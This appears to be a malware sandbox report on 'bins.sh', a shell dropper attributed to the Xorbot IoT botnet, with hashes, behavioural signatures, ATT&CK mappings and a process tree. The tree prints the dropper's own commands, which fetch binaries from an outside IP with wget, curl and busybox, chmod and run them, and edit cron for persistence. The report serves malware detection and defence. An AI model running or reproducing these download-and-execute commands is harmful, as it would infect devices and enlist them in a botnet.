Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
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submitted
01/03/2025, 10:32
General
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Target
bins.sh
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Size
10KB
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MD5
fcba5a159c1d4a387e0b6d819ab82b13
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SHA1
aa69a7ab7c5829823641342bec0e3ad9f6fed0eb
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SHA256
4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173
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SHA512
87a1081d1536779e44642d1951eca3e1ff3ba1fc4a333b5442c12b6fdb02b0bfff290503e160f6b95e20be6f7e007cbc9b331c7cf6ed0670cdb147c2f54b7d94
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SSDEEP
192:SKmamvfi3B3F3x3+3e3c04kJpga5k5M5uFpY9Hvva22jXv73Q1MA+L3LTLzm+3Hy:SKmamvfi3B3F3x3+3e3c04kJpgamCJ9R
Malware Config
Signatures
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Detects Xorbot 5 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (1515) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 5 IoCs
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Renames itself 1 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 16 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- File and Directory Permissions Modification
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/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
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/bin/rmrm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
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/usr/bin/wgetwget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- File and Directory Permissions Modification
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/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
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/bin/rmrm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
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/usr/bin/wgetwget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- File and Directory Permissions Modification
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/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
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/bin/rmrm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
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/usr/bin/wgetwget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- File and Directory Permissions Modification
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/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
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/bin/rmrm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
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/usr/bin/wgetwget http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- File and Directory Permissions Modification
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/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- Renames itself
- Reads runtime system information
- System Network Configuration Discovery
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
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/bin/rmrm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
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/usr/bin/wgetwget http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
20KB
MD564e9c008cd59de1e32465c9f090d5f15
SHA1612d20de4ebaf58b90aff6f49980facae1fced6d
SHA256cfa8501986dcec9ce2d38b7e4aab83c6ffa4a26c094089e941e4e35d4225ad75
SHA512f632952e2130f7d184cfc529b210530dc01b088f6bcba42b601e9fb23430e7e89b4f00911597e50a10280cbb45a465e9325afdb5bc1a5ba8ef0bf34bb685bea1
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD51f8524b04911c8dfb3a1be01a5832149
SHA1a4fc013091df71c99ffc96458df647b3343ee08f
SHA256d3267623e4f36f71d53d3efe4a05313a3db0a0c7b49bdb2defc9a5d37fd02d05
SHA5126b17a680a21de97c42bd283b94467c242777f89c7a259bd77f4989f42ac9a5ce77c2e01f33995a0f00df3aac6172d84c4aa6ef582bf8c7364cca25bb8afb3211